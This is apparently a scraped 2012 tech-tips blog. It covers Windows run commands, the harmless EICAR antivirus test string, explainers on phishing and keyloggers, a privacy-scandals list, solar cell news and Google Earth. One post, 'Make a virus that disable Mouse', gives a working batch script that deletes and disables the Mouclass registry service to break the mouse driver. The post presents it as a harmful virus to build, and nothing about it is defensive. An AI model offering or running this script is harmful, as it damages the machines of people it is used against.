IPConfig (renew IP configuration maps) : ipconfig / renew
Java Control Panel (if present) : jpicpl32.cpl
Java Control Panel (if present) : javaws
Keyboard Properties : control keyboard
Local Security Settings : secpol.msc
Local Users and Groups : lusrmgr.msc
Logout : logoff
Microsoft Chat : winchat
Minesweeper (game) : winmine
Properties of the mouse : control mouse
Properties of the mouse (2) : main.cpl
Network Connections : control NetConnect
Network Connections (2) : ncpa.cpl
Network configuration wizard : netsetup.cpl
Notepad : notepad
NView Desktop Manager (if installed) : nvtuicpl.cpl
Manager links : packager
Data Source Administrator ODBC : odbccp32.cpl
Screen Keyboard : OSK
AC3 Filter (if installed) : ac3filter.cpl
Password manager (if present) : Password.cpl
Monitor performance : perfmon.msc
Monitor performance (2) : perfmon
Dialing Properties (phone) : telephon.cpl
Power Options : powercfg.cpl
Printers and Faxes : control printers
Private Character Editor : eudcedit
Quicktime (if installed) : QuickTime.cpl
Regional and Language Options : intl.cpl
Editor of the registry : regedit
Remote desktop connection : mstsc
Removable Storage : ntmsmgr.msc
requests the operator to removable storage : ntmsoprq.msc
RSoP (traduction. ..) (XP Pro) : rsop.msc
Scanners and Cameras : sticpl.cpl
Scheduled Tasks : control schedtasks
Security Center : wscui.cpl
Console management services : services.msc
shared folders : fsmgmt.msc
Turn off windows : shutdown
Sounds and Audio Devices : mmsys.cpl
Spider (card game) : spider
Client Network Utility SQL server : cliconfg
System Configuration Editor : sysedit
System Configuration Utility : msconfig
System File Checker (SFC =) (Scan Now) : sfc / scannow
SFC (Scan next startup) : sfc / scanonce
SFC (Scan each démarraget) : sfc / scanboot
SFC (back to default settings) : sfc / revert
SFC (purge cache files) : sfc / purgecache
SFC (define size CAHC x) : sfc / cachesize = x
System Properties : sysdm.cpl
Task Manager : taskmgr
Telnet client : telnet
User Accounts : nusrmgr.cpl
Utility Manager (Magnifier, etc) : utilman
Windows firewall (XP SP2) : firewall.cpl
Microsoft Magnifier : magnify
Windows Management Infrastructure : wmimgmt.msc
Protection of the accounts database : syskey
Windows update : wupdmgr
Introducing Windows XP (if not erased) : tourstart
Wordpad : write
Date and Time Properties : timedate.cpl

Is your antivirus working perfect?

2012-01-30T01:35:00.000+05:30

This trick will let you detect whether your antivirus software is working or is just a waste. We will create a file which every antivirus sofware will detect as virus but dont worry it is harmless and will not harm your computer.

First open Notepad and copy below code into it.

X5O!P%@AP[4PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

Save the file as virus.exe

As soon as you will run this file you antivirus will detect it as software. If not then you need to change your program.

What is phishing and how to be safe from phishing?

2012-01-30T01:30:00.001+05:30

What is Phishing ?

Phishing is one of the type of hacking . It is a method of acquiring sensitive information such as username, password, bank information etc. Phishing page could be saif as an duplicate page of real one. Its look exactly similar as the real page.But when user enter sensitive information on such phishing page his information is send to the E-mail address provided in the phishing page or you can say the one who created that phishing page. Phishing page is mostly send via mail. Target of phishing are mostly social networking sites like facebook, orkut etc. Also Banks website to acquire credit card details,website like yahoo, gmail are also target of phishing.

Example of Phishing scams:

Email asking you to login to your locked account to unlock it.
Email carrying a Link to sites like Facebook,yahoo etc and asking you to Login.
Emails containing some Information of your Interest and asking you to Login to Your Account.

How to be safe from phishing ?

Never login to any of your account through link provided in the Email.
Go to real website dont click on any link posted anywhere. such as link posted on your facebook wall by friend or link provided in comments or link to ceratin website on any blog.
Check the URL of website before entering any sensitive information. Because the URL of phishing page is not same as the URL of real one.
Real gmail page looks like gmail.com while phishing looks different somthing like gmail.anything.com

What is keylogger?

2012-01-30T01:27:00.002+05:30

1. What is keylogger ?

You might have heard about keyloggers but really dont know what they are reading this article will clear your mind. A keylogger also know as keystroke logger is software or hardware device which monitors each and every key typed by you on your keyboard. You can not identify the presence of keylogger on your computer since it runs in background and also it is not listed in task manager or control panel. It can be used by parents to keep eye on their childrens or company owner to spy on their employes.

2. How it can harm you ?

It can be used by your enemy or friend to get sensitive information such as your username and password, Bank credit card details etc.
Example: You login in to your Facebook account from a computer in which keylogger is install then your username and password will be captured.

3. Types of keyloggers

There are two types of keylogger hardware keylogger and software keylogger. Software keylogger is install in your computer where as a Hardware keylogger is attached to your keyboard. Looking at below images will clear your mind.

HARDWARE KEYLOGGER

SOFTWARE KEYLOGGER

4. How to Protect yourself from keyloggers ?

Never use your online banking from cyber cafe. If you want to use then you can try this method. open notepad and type anything Then copy and paste each word that comes in your username or password.
You can even use above method to protect your facebook profile, yahoo or gmail id.
When you enter cyber cafe make sure that no hardware device is attached to keyboard wire. Its look something similar to above image.

Have fun playing snake game on youtube

2012-01-30T01:25:00.000+05:30

As you know snake is one of the oldest but also most popular game, which can now be played on youtube with a simple trick.You can have fun playing snake game while your video streams.

Open any video on youtube.
While video is streaming on youtube press left button of mouse and press up arrow key .
Now the streaming circle will start to move like a snake.
Play this snake game with arrow keys.

Make a virus that disable Mouse

2012-01-30T01:12:00.002+05:30

Today we will be making a batch virus which is harmfull it will disable your mouse so think before trying it on yourself.

Open Notepad and copy below codes

rem ---------------------------------
rem Disable Mouse
set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 4
rem ---------------------------------

Save this file as virus.bat
Done you just created your virus.

15 worst Internet privacy scandals of all time

2012-01-29T20:01:00.000+05:30

In honor of National Data Privacy Day, Jan. 28, we've put together a list of the 15 worst Internet privacy scandals of all time.

These high-profile privacy scandals involve many underlying technologies, from search to social media, e-mail to voice mail, mobile phones to Webcams to GPS. But at the heart of all of these privacy scandals are companies collecting personal data without the user's knowledge or consent and then either sharing it with third parties or simply failing to keep it safe.

The latest company to come under the privacy microscope is Google, which revealed a new privacy policy that clarified how it is combining user data across its services.

Meanwhile, on Wednesday the European Union unveiled stiffer penalties and higher fines for U.S. firms that fail to meet their privacy rules for cloud computing and social media applications.

With online privacy expected to remain a high-profile issue in 2012, here our list of the biggest online privacy breaches of all time:

1. Sony CD Spyware

Sony BMG ran into a major privacy flap in fall 2005 because of the anti-piracy measures called XCP that it added to music CDs. When a customer played one of these CDs on a Windows PC, the CD installed hidden rootkit software onto the PC that communicated the CD being played and the IP address of the PC back to Sony. This so-called spyware also created vulnerabilities on PCs for worms or viruses to exploit. Critics said Sony had created a backdoor onto its customers' machines, leading Sony to recall the CDs and offer a free removal tool for the rootkit software. Class action lawsuits were filed against Sony in Texas, New York and California. The U.S. Federal Trade Commission required Sony to pay $150 to any consumer whose PC was damaged by the software as part of a settlement for violating federal law.

2. The Craigslist Experiment

In February 2006, Seattle Web developer Jason Fortuny posed as a woman seeking sex on Craigslist to see how many responses he would get in 24 hours. He received 178 responses, including photos, names, e-mail addresses and telephone numbers of the men who answered the ad. Fortuny then published all of these responses on a Web site called Encyclopedia Dramatica. The incident received a significant amount of mainstream media coverage, including the Associated Press and MSNBC. Fortuny was later sued in Illinois court by an anonymous plaintiff, and in May 2009 Fortuny ended up receiving a $75,000 default judgment.

3. AOL Search Leak

In August 2006, AOL released a file containing 20 million search keywords used by 650,000 of its users over a three-month period. The file was supposed to be anonymous data available for research purposes, but personally identifiable information was available in many of the searches making it possible to identify an individual and their search history. AOL admitted it was a mistake to release the data and removed it from its Web site after three days, but by then the data had been mirrored at sites across the Internet. AOL's CTO Maureen Govern quit two weeks later. In September 2006, a class action lawsuit was filed - that's still lingering in California courts -- against AOL demanding $5,000 per user.

4. Google Street View

In May 2007, Google added its Street View feature to Google Maps, and it has been battling privacy complaints, paying fines and facing audits ever since. Google Street View provides panoramic views of streets gathered by webcams. It prompted privacy worries for showing men leaving strip clubs, people entering adult bookstores, and people picking up prostitutes, among other activities. Google allows users to flag worrisome images for removal and added a blurring feature for faces and license plates. Nonetheless, Street Views has run into privacy battles with Switzerland, France, Belgium, Germany and South Korea, to name a few countries. France fined Google the equivalent of $142,000 in March 2011 related to Street Views, but an August 2011 review by the U.K. government gave Google positive marks for improving the privacy of Street View. Meanwhile, Google must undergo regular privacy audits mandated by the FTC for the next 20 years as the result of a settlement over improper privacy disclosures in its now-defunct Buzz social media service.

5. Hotmail Hot Mess

One of the biggest privacy scandals in terms of scale involved Microsoft's Hotmail free e-mail service. In October 2009, Microsoft urged hundreds of millions of its Hotmail users to change their passwords due to a privacy breach. Microsoft said it discovered that users' details from 10,000 e-mail accounts were posted on the www.pastebin.com Web site as the result of a likely phishing scheme. Microsoft urged users of email accounts ending in @hotmail.com, @msn.com and @live.com to begin changing their passwords every 90 days.

6. Webcamgate

A Pennsylvania school district that used built-in Webcams to monitor the use of several thousand Apple laptops that it provided to students for their use at home ran afoul of online privacy issues and was forced to pay up. The school district admitted it had over 56,000 photos and screen grabs gathered by the Webcams and security software installed on the laptops. These photos were taken without the knowledge or consent of the students, including in their bedrooms and in various stages of undress. In April 2010, high school sophomore Blake Robbins filed a class action lawsuit against the Lower Merion School District for invasion of privacy. In October 2010, the school district agreed to pay $610,000 to settle two lawsuits related to the incident.

7. Facebook Apps

The popular social media site has been plagued by privacy issues over the years. Its highest-profile problem was in October 2010, when Facebook admitted that its top 10 most popular applications including FarmVille and Texas Hold`em shared user data, including names and friends' names, with advertisers. A Wall Street Journal investigation uncovered the Facebook privacy breach and said it affected tens of millions of users, including some that had used Facebook's most stringent privacy settings. Facebook had previously been in trouble for transmitting user ID numbers to advertising companies when users clicked on ads. In November 2011, Facebook settled a case with the U.S. Federal Trade Commission about several incidents and agreed to 20 years of third-party privacy audits.

8. Patient Data Exposed

In March 2011, California-based insurer HealthNet announced a privacy breach for nearly 2 million of its customers, exposing their names, addresses, Social Security numbers, health and financial data. The data were unencrypted and stored on hard drives that have gone missing from contractor IBM's data center. A nationwide class action suit was filed against HealthNet and IBM as a result of this incident. It was HealthNet's second big data breach in two years, having lost the Social Security numbers of 1.5 million policyholders stored on a hard drive in 2009. HealthNet isn't the only healthcare provider to lose private medical data or inadvertently post it online. The U.S. Department of Health and Human Services says personal medical data for more than 11 million people have been exposed online in the last two years.

9. Behavior Targeting is Targeted

A new area of concern for privacy advocates is behavioral targeting by online advertising services. These services create behavioral profiles based on anonymous data of how computer users surf the web and then serve up targeted ads based on these profiles. The FTC ruled in 2009 that these services must provide consumers with notice about the collecting of behavioral data and provide them with the ability to opt out. In March 2011, the FTC reached its first behavioral profiling settlement with advertising network Chitika for deceptive opt-out practices. Chitika said it mistakenly programmed the opt-out setting for 10 days, instead of the intended 10 years.

10. iPhone Tracking

Apple received so much criticism about how its iPhones and iPads were collecting and storing user location data that then-CEO Steve Jobs made a rare apology in April 2011. Jobs conceded Apple's mistakes in dealing with the location data after security researchers discovered an unencrypted file inside the devices contained a cache of locations visited over the last 12 months. Jobs emphasized that Apple was not tracking its customers: "Never have. Never will," he said, in response to the criticism from Congress and others. Apple provided a free software update to users to fix the glitch. But that wasn't the last time that location data gathered by mobile devices from Wi-Fi hotspots has come under fire. Google and Microsoft later admitted that they store the same kind of user location data on their mobile operating systems, too.

11. PlayStation Network Hacked

Also in April 2011, Sony announced that hackers had stolen personal data from 77 million PlayStation subscribers. Although this was a security breach of Sony's PlayStation Network, the privacy implications were significant given that the intruder had stolen names, addresses, email addresses and birthdates for so many customers. Sony said it was unclear whether credit card data was stolen, and it warned customers to be on the lookout for identity theft. Security experts said the Sony privacy breach was one of the largest on record. Sony estimated that the incident cost the company $171 million to rebuild its computers and purchase credit protection services for its customers.

12. Disney Violates Kid Data Rule

U.S. Web sites that target children for subscriptions or sales must comply with special rules aimed at gathering permission from parents under the Children's Online Privacy Protection Act (COPPA). In May, 2011, Disney's Playdom, Inc. had the dubious honor of paying thelargest-ever COPPA fine, which was a $3 million civil penalty from the FTC for gathering and sharing personal information about hundreds of thousands of children without parental consent. Playdom, which runs the popular Pony Stars site, collected kids' ages and email addresses and allowed them to post their full names and locations. Other sites that have run afoul of COPPA rules include blogging outlet Xanga.com and mobile app developer Broken Thumbs.

13. Carrier IQ

The year 2011 closed out with another privacy-oriented brouhaha, this time surrounding Carrier IQ, which sells analytics software for mobile devices. The software is used in an estimated 142 million smartphones. A systems analyst/amateur security researcher discovered this software on his smartphone, and found that it was capturing battery life, connections, text messages, emails and other actions. A slew of accusations followed, with Carrier IQ and its carrier customers being taken to task for allegedly keylogging, spying and tracking. But more detailed analysis by other professional security researchers found that the systems analyst who originally raised the issue was confusing Carrier IQ's actions with those of debug statements mistakenly left in the Android code by phone maker HTC's programmers. As it turns out, Carrier IQ was simply collecting performance data for optimizing the end users' experience. Nevertheless, the original discovery prompted Sprint and HTC to reportedly no longer include the Carrier IQ software on their devices.

14. GM to Sell Vehicle Data

General Motors has run into privacy issues with its OnStar GPS-based system, which may continue to track vehicles even after a customer cancels the service. General Motors changed its OnStar privacy policy in December 2011, indicating that it reserves the right to share data it has collected - such as a vehicle's speed, location, odometer reading, seat belt usage and airbag deployment - with other companies. This is true even for customers who have cancelled the OnStar service unless they explicitly ask for the two-way communications link to be disabled. General Motors says the data would be anonymous and aggregated before being sold. Vehicle-based telematics systems like OnStar are an emerging area for privacy concerns, with new worries about the possibility of misuse of data.

15. Voicemail Hacking

One of the biggest stories of 2011 was the shuttering of News Corps' weekly U.K. publication, News of the World, as the result of widespread hacking of the mobile voicemail accounts of politicians, celebrities and crime victims in the pursuit of stories by the tabloid publication. Investigations of this illegal behavior are ongoing, but have already led to several high-profile arrests and resignations of News Corps executives. Reporters apparently hacked into the voicemail accounts by using the default PINs that shipped with the phones.

In Solar Cells, Tweaking the Tiniest of Parts Yields Big Jump in Efficiency

2012-01-29T14:06:00.005+05:30

Scientists from the University at Buffalo, Army Research Laboratory and Air Force Office of Scientific Research have developed a new, nanomaterials-based technology that has the potential to increase the efficiency of photovoltaic cells up to 45 percent.

Specifically, the scientists have shown that embedding charged quantum dots into solar cells can improve electrical output by enabling the cells to harvest infrared light, and by increasing the lifetime of photoelectrons. The technology can be applied to a number of different photovoltaic structures.

A new company the scientists founded, OPtoElectronic Nanodevices LLC. (OPEN LLC), is commercializing this technology.

BUFFALO, N.Y. -- By tweaking the smallest of parts, a trio of University at Buffalo engineers is hoping to dramatically increase the amount of sunlight that solar cells convert into electricity.

With military colleagues, the UB scientists have shown that embedding charged quantum dots into photovoltaic cells can improve electrical output by enabling the cells to harvest infrared light, and by increasing the lifetime of photoelectrons.

The research appeared online last May in the journal Nano Letters. The research team included Vladimir Mitin, Andrei Sergeev and Nizami Vagidov, faculty members in UB's electrical engineering department; Kitt Reinhardt of the Air Force Office of Scientific Research; and John Little and advanced nanofabrication expert Kimberly Sablon of the U.S. Army Research Laboratory.

Mitin, Sergeev and Vagidov have founded a company, OPtoElectronic Nanodevices LLC. (OPEN LLC.), to bring the innovation to the market.

The idea of embedding quantum dots into solar panels is not new: As per Mitin, researchers had proposed about a decade ago that this technique could improve efficiency by allowing panels to harvest invisible, infrared light in addition to visible light. However, intensive efforts in this direction have previously met with limited success.

The UB scientists and their colleagues have not only successfully used embedded quantum dots to harvest infrared light; they have taken the technology a step further, employing selective doping so that quantum dots within the solar cell have a significant built-in charge.

This built-in charge is beneficial because it repels electrons, forcing them to travel around the quantum dots. Otherwise, the quantum dots create a channel of recombination for electrons, in essence "capturing" moving electrons and preventing them from contributing to electric current.

The technology has the potential to increase the efficiency of solar cells up to 45 percent, said Mitin, a SUNY Distinguished Professor. Through UB's Office of Science, Technology Transfer and Economic Outreach (STOR), he and colleagues have filed provisional patent applications to protect their technology.

"Clean technology will really benefit the region, the state, the country," Mitin said. "With high-efficiency solar cells, consumers can save money and providers can have a smaller solar field that produces more energy".

Mitin and colleagues have already invested significant amounts of time in developing the quantum dots with a built-in-charge, dubbed "Q-BICs." To further enhance the technology and bring it to the market, OPEN LLC is now seeking funding from private investors and federal programs.

The University at Buffalo is a premier research-intensive public university, a flagship institution in the State University of New York system and its largest and most comprehensive campus. UB's more than 28,000 students pursue their academic interests through more than 300 undergraduate, graduate and professional degree programs. Founded in 1846, the University at Buffalo is a member of the Association of American Universities.

2012-01-29T00:09:00.002+05:30

A few years ago you could find the URL to your profile picture to get your facebook ID. But fb changed that, and people who changed their username (www.facebook.com/USERNAME) can't find their ID.

So I have this little trick. It’s really easy. Enjoy =)

Step 1Find your username (or set one)

Ok, go to your account settings (https://www.facebook.com/settings?ref=mb ) and look at the username box. If you can now find your username (look in picture) it should be in the middle of the page. If it is not set, press the edit button and set it.

Step 2Find your ID

Now that you have your username, you can find your ID!

Just go to http://graph.facebook.com/USERNAME and you should see something like the picture.

Google Earth Gets a Seamless Upgrade

2012-01-27T21:29:00.000+05:30

You’ll be amazed at what Google has just done with Google Earth. Overnight, the earth-mapping application was upgraded to Google Earth 6.2, with vastly improved imagery that changes the choppy patchwork quilt of past versions into a smooth globe that rivals the most detailed satellite shots.

Beyond the realistic-looking map imagery, Google Earth 6.2 includes a new way to search the globe for locations and landmarks, and it’s added sharing features that let you share images you found on Google Earth onto Google+. This update is further evidence of Google’s intention to integrate all of its products with Google+.

Google Earth 6.2 features a new way of rendering all those mosaic pics of satellite and aerial photographs, smoothing out the borders between them so the globe looks even more like our beautiful blue planet.

That smooth beauty is not just visible from a distance, either — as you zoom in, the seamless look continues, all the way down to the closest views.

It’s not just version 6.2 that’s received this welcome new technology — the difference is in the data underneath this magnificent map. Google says in a blog post that this seamless look is available on all versions of Google Earth, but “the 6.2 release provides the best viewing experience for this new data.”

The improvement is now available on both the desktop and mobile versions of Google Earth.

Try the new version of Google Earth, and it’s easy to share screenshots directly from the interface. Once you’ve logged in to your Google account by clicking on the top right, a new Share button appears, giving you the choice of sharing a screenshot on Google+ or emailing an image or a placemark.

The search interface also shows minor improvements, with a facelift to the search panel and the Auto Complete feature you might have become familiar with in Google Maps.

In addition, Google’s added search layers so you can go beyond just the top 10 results, along with biking, transit and walking directions.

This upgrade to Google Earth is so significant, I’m wondering why the company only made it a point upgrade to version 6.2. It could easily have been called Google Earth 7.0 with its profound improvement in image quality, easy sharing ability and enhanced search.

If you haven’t used Google Earth in a while, download Google Earth 6.2 and look at how much better it’s become.